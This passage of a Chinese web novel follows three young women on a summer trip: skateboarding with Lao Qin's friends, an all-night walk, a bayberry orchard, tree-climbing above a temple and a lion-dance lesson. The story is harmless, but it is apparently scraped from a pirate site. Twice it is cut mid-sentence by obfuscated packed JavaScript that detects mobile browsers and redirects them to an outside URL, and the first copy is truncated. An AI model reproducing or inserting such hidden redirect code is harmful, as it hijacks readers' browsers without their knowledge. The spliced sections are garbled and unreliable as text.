“可是你每次都在最中间。”昭岁说。 “那有什么问题呢?”映年反问。 昭岁想了想,摇头:“确实没问题。” 实在太热,三人没在外面拍太久,很快转移到棚里拍摄。棚里的道具就多了,能玩得更嗨,又换了两套衣服,拍了不同组的照片。 昭岁问:“这比在古镇好吧?” 咚咚没否定,但讲:“每个时刻都有不同的好。” 昭岁白她一眼。咚咚有点烦,感觉是想着齐美玉的话术,被影响了。 拍完照,她们就在当地夜市买卤味。荤素分开凉拌,就担心映年能吃的就是那点素了。买完没走,昭岁又硬拉着逛了一圈,让映年买点年糕垫一下肚子,不然等会可能真没下筷的盘子。 碰见仙儿,纯属巧合,她站在摊位前在卖面包,一旁还有才艺展示,上场的不是她,是个年轻女孩。那把吉他,映年见过,就是仙儿的。 她要给映年几个面包,映年不想收,咚咚替她收下了。不过咚咚没打算今晚分着吃,想的是路上能充饥。 映年便干脆说了:“以歌姐说给你打电话了。” 仙儿点头:“对。” 映年问:“……那?” 她意识到自己这声音,带着怪责的意味。不只是对仙儿的态度,还有仙儿对吉他的态度。居然在这里,把吉他拿来揽客。 仙儿说:“我要去。” 仙儿面色坦诚,基本把为这挣钱,摆在了明面上。 34.第 34 章 仙儿的态度,让映年的气延长到了晚上吃饭的时候。 不得不说,老秦人缘很好,哪怕是临时组局,到场的板友们很多,氛围整得很好。在会议桌上铺了一层一次性餐布,三三俩俩把打包的餐食端上来了。 有人来和映年打招呼,说要互粉,再加个微信。她没拒绝。更具特色的社交礼仪是一起玩板,下着池子跟着玩连招。映年自在,心情稍稍转好。 昭岁可爱这种场合了,拿着下午用过的板,请教板友们,那服务是多对一的教导,热心得很。她乐在其中。 玩了会儿,映年坐回位置上。 映年刷着手机,点开短视频账号,有不少新粉丝,都是今天玩滑板的朋友,她无论粉丝数量,一一回关。去看高赞的视频帖,刷了一遍,翻着底下的评论。 “我是卖拐杖的,关注你很久了。” “我是卖假肢的,感觉你需要的。” “我是搞殡仪的,有机会联系我。” 一帮子人,是调侃,也是真烦人。有点像从前学生时代,刷到“不转就厄运缠身”的诅咒。要知道,可能在上一条视频这些人还在叫她“宝宝”……宝宝,她听着皱眉,说出烫嘴。好吧,做自媒体就要这种觉悟,她还是有点吃不了这碗饭。 咚咚给她拿了一串面筋过来,映年表达感谢。 “你也去玩玩呗。”映年说。 “等会,吃点了来。”咚咚说,问她,“还生气呢?” “有点。”映年说着,咬了一口面筋,觉得缺一个郑重其事的道歉,“让你摄影那会儿,对不起。” 咚咚说:“如果是被拆穿之后的道歉,我不接受。” 映年一时之间不知道怎么接话。这样看,她似乎没有立场去讨厌仙儿。 咚咚反问她:“你不是觉得对乐队有益处吗?毕竟仙儿技术还是强的。” “的确是更稳妥的,但……” “沈以歌都同意,你有什么可糟心的?” “是,确实。”映年觉得着回答是事实,对答时却不轻松。 “所以你有什么可糟心的?”咚咚又问了一句。 映年放下手里的串,抬头正面看着咚咚,发现咚咚在笑。还是一如既往的那股笑,带着亲近的笑。 咚咚的皮肤偏黄,带着点浅调的棕色,可能是最近晒多了太阳,脸颊上冒出两坨红润润。她眼睛不大不小,眼镜让望进去的视野变得畸形,睫毛很长,连带着的“代价”是皮肤上的毛囊旺盛,眉毛粗粗的,却很像是一丛发育不良的龙舌兰。 纤维乱射,扎得映年心慌。 映年招架不住,可没撇开眼睛。她后悔刚才露怯,要说些“没有啦,哎呀”的语气词糊弄过去,才是真实的求饶。咚咚的眼神,远比她看到的要深许多。成长轨迹不同,又没交集,映年不清楚咚咚到底有经历什么,平时一副和昭岁乐呵呵的模样,要真谈到要紧事,咚咚是个不让步的主。 早早进入社会就是不一样啊……也不能这么说,过于否认咚咚自身的经历价值了。 她想起在古镇时,咚咚良口劝着她要“得过且过”。是的,映年那份规劝视作为“得过且过”。现在看来,咚咚的确通透许多。不过咚咚的立场和引导,一直“浅尝辄止”。 这次也是。 “要么藏好就藏好,要么不低头就不低头,”轮不到映年开口,咚咚又说,“你干什么呢?” 话落,映年败下阵来。 映年双眼紧闭:“我才是泄密的那个。” 咚咚的笑容更大了:“看来你只吃硬不吃软。” 映年松懈下来,说:“也不是,都吃的。” “噢,”咚咚很难想象映年撒娇的模样,面前的剖白已经到了零界点,“那就是你只会来硬的。” 映年显然探得更深:“……最开始,没这么想的。我在想,可能有人陪着,有摄像机录着,我更安心。” “你还有慌张的时候呢?” “对,所以那个阶段的第一目的是需要你。” “我还以为你是斗士。昭岁也这么认为。” 咚咚是否这样认为,映年不清楚。昭岁的确就这么想的,才会说出那番话。 “我也以为我是斗士,”映年有种说穿的轻松,更多是羞,“事实证明我连谋士都算不上。” “你比大部分人英勇太多了。” “不,如果足够英勇,不跟让你一起犯险。” 咚咚站起来,手搭在映年的头上,她又弓着身子,凑到她耳边轻轻说:“没关系,我原谅你了。” 说完,她越过映年,去拿桌后方的甜皮鸭,拿了一根鸭腿,重新坐下在啃,津津有味。 映年眼眶一热,低下头。 映年:“我一定找机会还你。” 咚咚:“不用还。” 映年:“不,你需要的时候一定找我。” 咚咚:“你怎么崩这么紧,顺其自然啊。” 这番絮絮叨叨后,昭岁拿着滑板也来坐着。她很自然地靠在椅背上,支使咚咚去帮她拿点羊肉串。 咚咚问映年:“你觉得你玩滑板是有天赋的吗?” “很多东西不需要天赋,只要努力就行……好吧,我算是比较好的。”映年觉得和咚咚谈努力,会带着一些“傲慢”的视角。 “你说老秦为什么穿西装玩滑板,不危险吗?” “老手还好吧。”映年想着,回忆起刷到老秦的视频,似乎没啥大招,可能也是真活动不开。想到这,她突然沉默了。 咚咚:“你说仙儿姐为什么要卖掉自己的单曲?” 昭岁:“不就是为了钱。” 咚咚:“实际她的创作水平在队里相对一般啊。” 昭岁也沉默了,她看向映年,二人对视一眼。 明了了。 咚咚笑了,她其实很能明白为什么映年刚才没法共情。在目标上,映年太顺了,想做什么都能做到很好,就算考编失败,她也不觉得是自己能力的问题。映年就是有这个自信,与之匹配的就是她同样具备能力。 相反,咚咚就是传统意义上的差生了。她科科都偏科很均匀,学过了,还是这样,老师以为她是有什么别的事耽误学习,问她是不是有早恋倾向、家庭因素、人际交往……通通不是,她就是不会。 当年纪尚小,读书完全充盈生活时,她已经逼近绝望——我就是没这念书的才能——努力是白努力,排名不会上升。 紧而齐美玉密集的担心到来:“这孩子,以后能不能养活自己?”她开始给咚咚另谋出路。 书法、绘画、棋艺,甚至于欣赏大霜的网球运动,带着咚咚去练半学期,全试了个遍,咚咚掌握归掌握,真要走上这种门类完全不可能。齐美玉放弃,又让她恢复了主线任务,继续学习读书。 或者说,培养咚咚是齐美玉其中一条主线任务。只是中途“崩任务线”,齐美玉就基本放弃了。 比起咚咚的成绩不好,更让齐美玉耻辱的是她并没有培育好咚咚的能力。那场投资暴雷同理,在不停尝试又起来的亏损项目中,成了压倒齐美玉的最后一根稻草。 世俗金钱包裹下的,是她追求强者的自尊。而她宁可被蔑视为功利性,也要去掩盖着这份能力失败的耻辱。 齐美玉从前是,仙儿现在是。 这种想法就过于“理想主义”,因为很多时刻,这是正相关的。至于是否有怀才不遇的可能?不排除。多了一份侥幸。 “可以歌”乐队不能说是才华横溢,要真顶顶优秀,不至于默默无闻。差距绝非是比较产生的,而是在陶醉中感知到的。作品流动时,给苦学者带来的压迫,是毁灭性的打击——啊,我真的没才能。 诟病的名声、失落的友情,在真实验证来自我满足中,显得并没有那般重要。这是仙儿孤注一掷的机会。 昭岁说:“她的产量很高,可能是把别人羞于面世的,放出来了。” 咚咚问:“那不就更扎心了吗?” 昭岁不赞同:“恰恰证明她很自信。” 二人就这点,没达成一致意见。 映年把竹签插在垃圾桶里,对咚咚的问话不止可否,她抛出一个新的问题:“你说老师是不想学生取代自己吗?” 对此,昭岁“哈”一声,真服了。 咚咚说:“我觉得五角星老师不是好老师。” 映年瞪咚咚。昭岁也望向咚咚,不过她不认为咚咚会因为这种事为映年“打抱不平”。 咚咚继续说:“她只喜欢好学生啊……你是受益者,所以你喜欢她。我这种渣渣成绩,完全被虐,有时候说话很难听的。” 映年顿了一下,说:“这算不算好学生剥夺?” “不算,最多是老师没端平。”咚咚摇头,“可能年纪小,就容易引起内部矛盾。” 映年还是说:“可那几年她对我很照顾,我就认为她是好的。” 昭岁听着,看一眼映年,发现映年也在看她。二人相视望着,突然笑了。 老秦走了过来,给三人拿了三瓶果汁。 “喝果汁还是啤酒?” “果汁。”咚咚说。 “果汁。”昭岁说。 “啤酒。”映年说。 老秦又折过去,给映年拿啤酒。 “我就会直接喝果汁。”昭岁说。 映年听懂昭岁的言外之意,冷哼一声:“她让选,为什么不能选?” 这回咚咚站映年:“又不是什么大事,需要这么负担。” 昭岁说着是:“醉酒很麻烦的!” 映年“啊”一声,懂了。昭岁在危险防范的这一块,很是在意。 她说:“好,我就喝一丢丢。” 昭岁没反驳了。她还是挺信任映年找的朋友的。 老秦重新拿了啤酒过来,还递给二人一根吸管。她脸上红润润,明显是喝酒的缘故,说话酒气,微微摇头,泛着醉。 刻板印象很怪,明明老秦看着不像是沾酒会醉的人。 老秦说经常这么聚会,挺有意思的,让映年也常来玩,又劝映年不要放弃滑板,多玩一阵。谈着谈着,讲起她学生时代的事情,说是大学同学带着她玩滑板,后来同学不玩了,就剩她在玩了。 咚咚不太能理解,不说滑板店清洁保养的钱,光是提供场地,就亏损不少。池子可是靠着来次卡挣钱呢,这来免费玩,圈子不大,经常搞,谁还愿意付费。 老秦说滑板能交到很多朋友,而且很多领域上的年轻人,都很有意思。本身也是一个学习的过程。 咚咚想说,来玩滑板的大多也是属于“顾客”的范畴,把顾客的发展为朋友,可能导致经济破产。 听着,咚咚借口去洗手间起身了。 咚咚在外圈转了一周,有板友让她一块来玩,要教她。咚咚没拒绝,踩在滑板上,不安全感爆炸,必须扶着教学者。她只适合在原地扭扭,真要行动,脚上的支点只能让腿打颤。 老秦很会讲,基本没有昭岁和映年插嘴的余地。她从学生时代的滑板小队,讲到现在开店后的文化发展,唾骂一些不太健康的交友目的,赞扬不具风险的玩家们。一直到新的一轮外卖到来,她对滑板事业是说了个遍,喝光了三罐啤酒,醉醺醺地倒在桌上。 她喃喃:“还好我没结婚,真爽啊。” 又生气:“凭什么她就要负责照顾孩子啊。” 临近凌晨,大伙说一起去压马路,带三人参观一下夜景。 咚咚问:“这算不算醉驾?” 昭岁拍她一掌:“算毛线。” 一行人出门,没带滑板,就在公园里玩。更多是吹吹风,热风,闷得很。她们坐在公园的健身器材上,聊天说谁谁创了纪录,谁谁腿折了在医院,谁谁又把楼梯征服了…… 映年酒量还行,看着点老秦她们几个玩跷跷板,听见有人在欢呼。转头过去看,发现咚咚吊在单杠上,在做引体向上。 “三!”大伙在一旁拍手鼓掌。 咚咚继续在做,在喊声中又做了几个,到第十个的时候,她受不了,掉落下来。 接着有人顶上,继续去做。 人群围着在鼓掌。 昭岁拱了拱映年:“你也去,排队。” 说这话时,昭岁没抱太大希望,没想到映年真应允了。 轮到她登场时,抓着单杠。用劲上不去,狠狠蹬腿,收了腰,上去了一个。下来就这么吊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那咱们走呗。”老秦说着,又招呼着大伙往外走。 “不等他吗?”映年问。 “谁信他真下来啊。”老秦说。 “真下来了怎么办?”映年问。 “他一只腿又追不上咱们,想揍人都没机会。”老秦说。 “……” 这回一伙人都笑了,没敢笑得太大声,怕打扰到别人。 整晚,她们在城市里走来走去,累得坐在江边。映年突然发现老秦不在了,她有点担心,毕竟老秦罪得不轻。 她问着旁边的板友,看到老秦去哪了不。板友沉默了会儿,说估计又去找老朋友吧,但是和医院车库一样,可能电话都不会拨出去了。 没过一会儿,老秦真回来了。酒醒了大半,靠在栏杆上,风吹着头发一片一片糊脸,她在那不停扒拉,总是有头发挡住视线。但一直没有转头过来。 天亮了。 大家就散了。 三人坐了个最早班的公交车回酒店。咚咚晕乎乎地靠在昭岁身上,昭岁不喜欢太亲近黏糊,一把推开,让她靠在映年身上。 “我们就该昨天退房的。”咚咚说。 “以后早起坐公交车好点。”映年说。 “为什么?”昭岁问。 “我很早就想说了,”云层散去,有阳光洒在映年的脸上,“有时候坐车真的好臭啊。” “你的香水呢?”咚咚把映年的驱蚊剂叫做香水,太冲了。 “用完了。”映年说,“怎么用这么快,是不是偷用了?” “好玩吗你觉得?”昭岁问。 “好玩,”映年点头,又严正声明,“我一年最多通宵两次。” “那不还有一次。”咚咚说。 “早用光了。”映年说。 “你不喜欢剧本杀,为什么要去玩?”咚咚问。 “我还不玩滑板呢,还是要来。”昭岁说着,在笑,“真到北方读书,能见面的次数很少了,回来玩,真怕生疏。” 这话题,又有点微妙。 映年:“原来朋友比妈妈重要。” 昭岁:“你这样比较有意思吗?” 映年:“那你打算回来吗?” 昭岁:“我说回来还是不回来,都有猜测吧?” 映年想了想,说:“也不一定,你说回来,可能妈妈会高兴点。” “她是她,我是我。”昭岁说,“她本就该以自己为主为舒适。” 酒店收拾行李离开,三人打算就在车上眯会儿。上了车,没位置,眯不了,等到有位置,映年优先让咚咚和昭岁休息。 她挂在扶手上,眼睛困,心热热的。 最新视频有好多新的留言,应该是约好了一起团建,都在说祝福“映年一路顺风呀”,她挨着点赞。 映年突然想起没联系的大脸猫。重新切回微信,她给大脸猫发了条:路过这边,去参加板友聚会了。 等了会儿,大脸猫没回复。 重新切换到短视频,有段视频许多朋友赞过。 点开来,是一个vlog,就是晚上聚会的。她握着手机在看,板友们各自介绍,到中间环节,出现了新学徒昭岁。 举着手机的人问:“刚学滑板呢?有什么喜欢的大神吗?” 昭岁笑着:“我姐啊。” “你姐谁啊?” “映年啊。” “噢……”那人没想到是这个答案,映年的水平不算是最顶尖的级别,他话里话外有明显的暗示,“还有吗?” “还有什么?” “喜欢的大神。” 昭岁停下来,发现了这人诱导,她叉腰说:“反正不是你。” 一众人“哈哈”笑了。 映年手打弹幕:摄像师真阴险啊。 几分钟后,博主回复:呀,大神来啦。 映年也笑了。 35.第 35 章 映年的滑板还是留在了老秦的店里。 映年说:“如果有叫姜瑶的小朋友来玩,就送给她。” 老秦对她的“乐观”,笑了:“万一不会呢?” 映年想了想说:“算了。” 老秦乐了:“怎么就算了?” “这板不给她了,我寄回去。”映年说,“给她买个新板,我付款。” “那为什么不带着继续旅游?”老秦问。 “其实我还没决定好要不要继续玩。”映年实话实说。 老秦没再劝,就说:“你离不开的。” 映年笑笑。 车上时,映年就问:“你说人必须有自己的爱好吗?” 昭岁:“看自己想得到什么吧,其实我挺讨厌这样的。” 映年:“怎么说?” 昭岁:“每次有个评优评先什么资料填写,一栏里面就得让你填特长啊、爱好啊、技能啊,我觉得很烦。这栏压根没必要,又放在那,好像这栏必须填一样,明明排版能更好,缩掉一些。” 映年:“那你填‘公交车迷’没有?” 昭岁:“填了,有人笑话。不过也没事,我跟着她们解释,解释了就理解了,反正不当着我的面儿笑了。” 映年:“喜欢不就行了。” 昭岁:“但我的技能栏和特长栏就空着。” 映年:“拼模型不算技能?” 昭岁:“那是爱好。” 映年想了想,说:“你就应该写‘组装’。” 昭岁:“我就空着。你写的什么?” 映年:“真要我说?” 昭岁:“……算了。”她知道映年参加好多比赛呢,拿了不少奖,凑上去也够了。 咚咚在一旁沉默了会儿,说:“我还没到拿到这资料表的机会呢。” 昭岁:“……” 映年:“……” 咚咚又说:“我更讨厌写地址,烦死了。” _ 玩是主要的,赶路是次要的。三人坐在车里按着继续参观,晚上有时候夜宿帐篷,有时候住在酒店。多数时候找三人床的房间,但地区的酒店有时最多两人间。 昭岁还是不喜欢和人挤一块睡觉,和咚咚睡一宿,质量其差,第二天黑眼圈跑眼睛上了。这别别扭扭的,映年发现了,让咚咚和她一块睡。 这折腾了。映年的睡相完全没有她平时的那种肃穆,不知道梦见什么,一晚上躺着也能做一套广播体操。 到咚咚早上醒来,盯着映年时,她还有点愧疚:“昨天没踢着你吧?” 咚咚把睡裤撩起来,小腿红了一片。 映年:“明天我睡地板上。” 为了三人的睡眠质量,这事没人投反对票,就是改成了轮流睡地板,套着睡袋。 拍照也在继续。 不过没人再打算去进行换装。三人在网吧查看照片时,是赞美一番挺漂亮,但可真没完全那么喜欢,只能当时一种体验。 更重点是,当时不好意思提的。复盘时,先说的是咚咚:“这也太热了吧!” 昭岁:“你当时想拍的时候不嫌热?” 咚咚:“我以为我是不怕热的体质,还有,我当时放弃了啊。” 昭岁板着脸:“你是觉得我自作多情,是吗?” 咚咚看向映年,让她做裁判:“我可没这么说,是吧?” 昭岁佯装气鼓鼓的样子:“你问她做什么?她大热天能穿皮靴呢,裹着脚跟上面,她厉害呢。” 映年:“?” 咚咚在一旁笑,搂了搂昭岁,昭岁以为她要感激涕零,没想到咚咚说:“铺子的零食,老是让你白吃白喝,我享受你一套汉服不亏的。” 昭岁也想看映年,申冤:“你觉得拍汉服不好吗?” “是有点热。”映年说。 “姐!”昭岁喊。 “谢谢你。”咚咚真搂着昭岁拍了拍肩,“我许愿发财的时候,带你的那份。” 这话,对咚咚来说,太诚挚了。 七月的第一周,军检线也出来了,昭岁的分数线不够。她玩乐时候,表情恹恹的。 映年:“不是有B计划了吗?” 昭岁:“你说我要真滑档,留在鹊市怎么办?” 咚咚:“怎么办?你就在你学校帮我卖东西啊,咱俩分成。” 昭岁被逗笑了。 映年:“没问题的,我选的都是贴这边的,不至于全都滑下来。” 这事,昭岁也没难过太久,毕竟年年的军检线都摆在那,骤降的几率也不大,她已经做好了不能的准备了。 玩乐的次要问题出现了。能像照片那样,保存在电子硬盘里的毕竟是少数,更多时候是买观光品,又不会和明信片一样邮寄,很占用背包。 昭岁就爱买这些小玩意。即便咚咚说明了这在网购上更便宜更便捷,抵不住昭岁就是要买。 “能一样吗?这是一段记忆。”昭岁说。 “你倒是让我发现这么大的商机。”咚咚说。 “这是哪家店买的?”映年指了一个摊在桌子上的冰箱贴。 “在古着一条街那,有个墨镜大哥那。”昭岁说。 “不是啊,这是在音像店旁边的小地摊。”映年说。 “噢,我想起来了,是个扎脏辫的小姑娘是不是?她还给了我两包纸巾。”昭岁恍然。 咚咚看着她,笑。映年也笑了。 昭岁反应过来,站起来,恼怒道:“很烦,我自己背,又不让你们买。” 倒不是嫌昭岁乱花钱,景区咖啡烤肠之类的,溢价严重,随便她买。是昭岁的背包真的塞不下了,挂着个小塑料袋子在背包后面,靠近点的时候,她一阵转身,袋子像个钟摆一样打过来。 _ 中途还是有临时起意去玩的时候。 昭岁在地图上看到了一片杨梅园,想去体验一下摘果子。映年同意,咚咚反对,多数决反对无效,咚咚想就在园子外头等她俩,说节约钱。但两人没真摘果子,昭岁谈判下来,让三人参观果园,不摘不吃,收点门票钱。 真行通了。 便进去转了一圈,里面人多,杨梅树也很多,吃完的杨梅核随手一丢,地上雾红雾红,还有好的果子。 昭岁见不得这浪费。 还没到逛完,昭岁就觉得走不下去了,问映年怎么样。 咚咚说:“那就出去吧。” 昭岁说:“以前不是这样的,以前能在园子里窜一整天。” 咚咚说:“你都说了是以前了。” 昭岁点头:“是,以前要是进园子里偷梅能重罚,腿打断呢。” 映年说:“经营模式不一样而已。” 这趟杨梅之旅败兴而归。 路上的风景是不错。收了一茬茬稻子,中间间隔着火烧的踪迹,时不时有烟飘来,不呛人,有股暖融融的气味。 更多的田还是绿油油的庄稼。 她们没等到车,说是早过了收班的时间。就去招手问路过的车辆,能不能载着她们一程,这次没遇到机车组那样的好运,来杨梅园玩的多数是团建,哪有空出三人的位置。 三人干脆改变走大路的继续,直接从山上翻过去。 往山上走,庄稼还是不少,哪怕是斜坡,依然有农民辛勤劳作着。其实这一带土不算好,不保水,脚踩上来时沙沙的,很松。 种花生的农田很多。 “你说花生为什么种在地里?”昭岁问。 咚咚看她一眼,昭岁从眼神中读出了“白痴”二字。 昭岁:“你想想,花应该是育种的,花生的不该在土里。” 咚咚:“小学有篇课文叫《落花生》,学过没?” 映年思考了一下:“花生本身是舶来品,不用考虑据字这样想。” 这话题过了,又看其它蔬菜,昭岁都会问一遍。齐家从前种菜很少,精力都放在杨梅园,种的菜就够着自己家吃。昭岁也就暑假寒假去大姥姥家,她又怵,大些时候就不去了,对这些真不懂。 “大姥姥平时还念着你呢,你不回去。”咚咚说。 “她念我啥呢……”昭岁嘴里咿咿呀呀一阵,目光看向映年,对方看过来,她突然忍不住了,“她不咋喜欢我。” 映年:“她咋不喜欢你了?” 昭岁不想纠结这个问题,她有点心烦,讲起另外的:“她就更喜欢五姨。” 这话题聊着聊着变了味,三人即时打住。 到一片田里,原看着像是黄瓜挂着,近看却是葫芦,有个老伯在给葫芦上模具。 各种各样的模具,有菩萨、弥勒、金元宝等等,透明泛黄,全都包裹着葫芦。 “这干预发展,多撑啊。”昭岁说。 “市场好卖呗。”映年说完,问,“你的三色叶子呢?” 三色叶子和造型葫芦,都是人为干涉的植物,区别就在三色叶子是扦插繁育各种,葫芦是卖的成果。 “干了。”昭岁说,“我觉得叶子比葫芦好多了。” “只是你不是葫芦的受众。”映年说。 “那葫芦的受众是谁?”咚咚问。 “盘串不是挺火的。”映年说。 咚咚看着,心头有股火,她说:“我就喜欢吃,我绝对不盘。” _ 山顶上望下去,总有遮挡,拍得不清晰。咚咚要上树去拍城市光景,想着去学李立沐爬树,抱着树蹭了好一阵,连上升都不算,更像是在摩擦。 昭岁和映年看不下去,蹲下身让她踩在肩膀上,搭人桥让她上去。咚咚一下助跑,一脚踩膝盖,一脚蹬肩膀上,算是抓着树分叉了。底下两个人,拖着腿往上送,把人给带上去了。 真到上面,咚咚还是不满意,感觉没太大差别。 可再往上,爬树就得靠自己了。 好在枝干之间的距离不大,她磨了一阵,又往上了三米。这下,拍出来的城市照片可不一样了。 昭岁在下头问:“能拍清楚吗?” 咚咚没回答。 取景器里,画面逐渐放大,细节慢慢显露,一个寺庙坐在江边,孤影伫立,庄严肃穆。 齐美玉就在那。 只能变焦到这里了,信众们一排排坐在寺里的蒲团上,像是一颗颗小小的玉米粒,干瘪分布但珠圆玉润。 她按下快门。 再拍了一些城市的风景照,咚咚坐在上面等天黑。昭岁和映年拿着帐篷扎营,刚下过雨,就没生火,拿着个手电筒在照射亮光。 两人坐在石头上,去玩新下载好的游戏。 映年在这上面不熟悉,昭岁在帮着教她,真上手操作稍微丝滑一点,她就把手机搁下了。 “不是玩的挺好的吗?”昭岁问。 “有点晕。”映年说。 “啊?”昭岁看着这画面,“你不早说。” “我以为我能克服。”映年说。 “克服鬼呢。”昭岁说着,“这把结束后,我们组队打麻将。” “……你还是一个人玩吧。” “不要!不信任我的麻将技术?” “对。” “……偏要!一起玩。” 咚咚还坐在树上,给两人也拍了个照片。 昭岁记着咚咚还没吃饭,问她现在吃还是下来再吃,咚咚说下来再吃,昭岁又起了玩心,说要把面包丢给咚咚。 映年反对:“多危险。” 咚咚反而不在乎:“来,我来当猴子。” 昭岁真扔了,落下来,捡起来又扔一次,还是落下来。映年想,还好没点火。 “不是,你能不能准一点?” “你嘴巴张大,马上投你嘴里。” 昭岁又扔了,这次咚咚差点接到,手指挨到了一下。咚咚正要鼓励昭岁说再来一次,就听见“哐”一声,砸水里了。 她跑去追,追到了,就着衣服擦了擦水。放弃了:“你下来吃。” 咚咚不乐意了:“快点,我饿了。” 昭岁又重复扔了一次,没接到,到映年上场,也扔了几次,还是接不到。 “我还以为你多厉害呢。”昭岁让映年过去。 映年看向咚咚,似乎明白了,把面包让给昭岁。昭岁继续扔。 准头很好,就算咚咚怕掉下来,也不至于失去这么多次触手可得的机会。 昭岁突然撕开面包,咬了一口:“你今天晚上就饿肚子吧你。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16136848|178458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哎呀呀,再来一次嘛。”这份威胁对咚咚很管用,昭岁得逞地笑,扳回来一局。 不够咚咚也没下来,还是等到了灯光打开,拍了些城市的夜景照片。 淮寺是开灯少,使得寺前那片地里的长明烛光一片一片更亮了,那是信众们燃的。 咚咚不知道自己在坚持什么。 拿着相机又探索了一遍,最后是没电警告,让她决定下树。 上树难,下数更难。 咚咚尚能解开相机绳子一端,把相机安稳的送下去,可人就没那么简单了。 昭岁“不计前嫌”地照着手电筒给她指路,只可知道路是一回事,往下踩是另一回事。咚咚探着枝干往下走,心惊胆战。 “我最讨厌爬树了。”说着,咚咚开始忏悔,“也不是非得上来了。” 到一半,又说:“真烦啊,这树怎么长这么高。” 到快最下面的地方,那没枝干了。 映年说:“抱着树溜下来。” 昭岁说:“跳下来,我接着你。” 咚咚当然不听昭岁的鬼主意,抱着树下来,这就发生了意外,树干上遗留的枯枝分叉,顺着重力,剌开了咚咚的裤子,到地上时,右腿的裤子正前方开了一条直线口,一整条大腿根部。 “腿没事吧?”昭岁过去照着。 哪能没事,整个腿都一道杠红,膝盖的位置有血丝,几颗血珠子冒出来。 咚咚生气:“我就真讨厌爬树。” 映年带得有碘酒棉签,让咚咚坐下伸直腿给咚咚擦,昭岁要抢过这活来干,咚咚怕昭岁“报仇”,按着昭岁不让动,只给昭岁打灯的权限。 棉签一头擦着伤口周围,把灰尘稍稍伏开,掰断那端,里面的碘酒出来浸湿了另一头的干净棉签,轻轻地放在血丝上擦。 咚咚痛得腿抽了两下,被昭岁握住脚脖子。她低头看昭岁,对方回了一个邪恶的笑。 昭岁:“我来帮她按摩一下。” 映年“啧”一声,睨一眼昭岁,斥:“瞎闹什么?” 昭岁安静,手上劲儿可没收,还是想戏弄一下咚咚,可看她呲牙咧嘴的模样,心头软了。 昭岁说:“就该买个无人机的。” 咚咚说:“说的这么轻巧。” 昭岁说:“俱乐部群里帮忙看一眼,咱们能绕过去,不坐轮渡,多花两天。” 映年手里动作一顿。她是听过咚咚晕船。 “擦呀。”咚咚轻轻指着膝盖,拒绝了昭岁的提议,“不用,就按计划来。” “时间够的。”昭岁说。 “不用。”咚咚说,“我能克服。” _ 坐船前一天,三人没找酒店,到赶渡船的地方,就在江边的一家夜排档里吃夜宵。 咚咚都想尝尝鲜,可和昭岁又吃不下,很是纠结。昭岁开朗了一把,问邻桌的小姑娘们能不能拼桌,真就成了。 映年对昭岁颇为无奈。这小孩担心遇见坏人,真聊起来,又对外说自己的事情。一般这种饭局上,映年总是旁观的那个。 姑娘们就是附近来打工表演,都在上中学,听着昭岁说三人“说走就走”,很是羡慕,说是边表演边旅游,压根不尽兴,哪天就该痛快玩。这番话带着青年的鲁莽,有种天不怕地不怕的气息。 打工表演可不是虚说的,一路过来广场上的台柱子还没拆,底下有爆发过的礼炮碎屑,狮头在装货车厢,姑娘们的衣服统一一套还绣着“舞狮”的狮头。 “那到了淮寺呢?你们咋办?”姑娘问。 “回去也有一条路。”昭岁说。 “那不还是回去?” “……说得对哈。”昭岁回答着,心中突然空落落的,“总得回去的。” “暑假不是还挺长的吗?”姑娘说。 “不止暑假,人生都很长呢。”另一个姑娘抢答。 三人听着都在笑,咚咚主动说:“多家两盘龙虾。” 喝酒的是她们三人,姑娘们喝着果汁,说着天高海阔,可下半句总会转到学校。 “真想快点长大。”姑娘说。 “我是觉得小时候更好。”昭岁说,“小时候能玩的可多了。” 咚咚说:“我是不想回到小时候,长大可太爽了。” 一伙人说着说着,吃完了夜宵。 老板要打扫夜排档,但没驱逐她们,估计是看着表演的份上,只是把塑料椅子搬到外面,让她们坐在那休息。 昭岁很感兴趣舞狮呢,让姑娘来教她两招。 “你运动天赋怎么样?”姑娘问。 “我朋友学体育的,很厉害,中学生拿过网球第三,全国。”昭岁说。 “她厉害关你毛事啊!”咚咚举起相机,就要记录着了。 咚咚挨着小姑娘的脸扫过,让她们介绍自己,无一例外先报自家班的名号,再说自己的名儿。 教昭岁是真来了,小老师又让映年来配合。一般都是大的那位当狮尾,可映年的体格是三人中最小的,便让昭岁来当尾巴。 起初两三个招式,映年还有些放不开,到昭岁真一把拥着腰把她举起来后,她心慌一瞬,自在了。 学着姿势玩了起来,咚咚拿着相机不停拍。 没玩多久,有人来了。 那人身穿着马褂,拿个棒槌,走路时候,腰上的红巾飘摇。她说:“自家没学会,倒是敢交起外行来了。” 姑娘们不说话了,去那椅子上的东西,收拾收拾就要走了。 领头的大人扫一眼昭岁三人,警告说:“离我们远点。” 她们带着这份不友善离开了。 昭岁后悔:“她们可能会挨骂的。” 咚咚说:“不一定呢,吓唬的可能是。” 这插曲让昭岁和映年玩的乐趣没了,三人就坐在塑料板凳上休息。天热,江风吹着不见凉,昭岁和映年敌不过困意,睡着了。咚咚坐在中间,翻着刚才的录像,往前再看,又是淮寺的照片。 她盯着出神。 忽然笃定了一样,觉得左数第二个就是齐美玉。放大放大,只是把像素的马赛克块拉大,压根看不清人。 可咚咚就是确定,这人是齐美玉。 没有依据。 36.第 36 章 在山上蚊虫多,映年的驱虫喷雾抵住一阵,帐篷密闭,偶尔能在脸上出现三四个蚊子叮咬的包。昨夜一晚在江边,放松了警惕直接睡着,醒来,胳膊脖颈上全是蚊虫叮咬的红包。 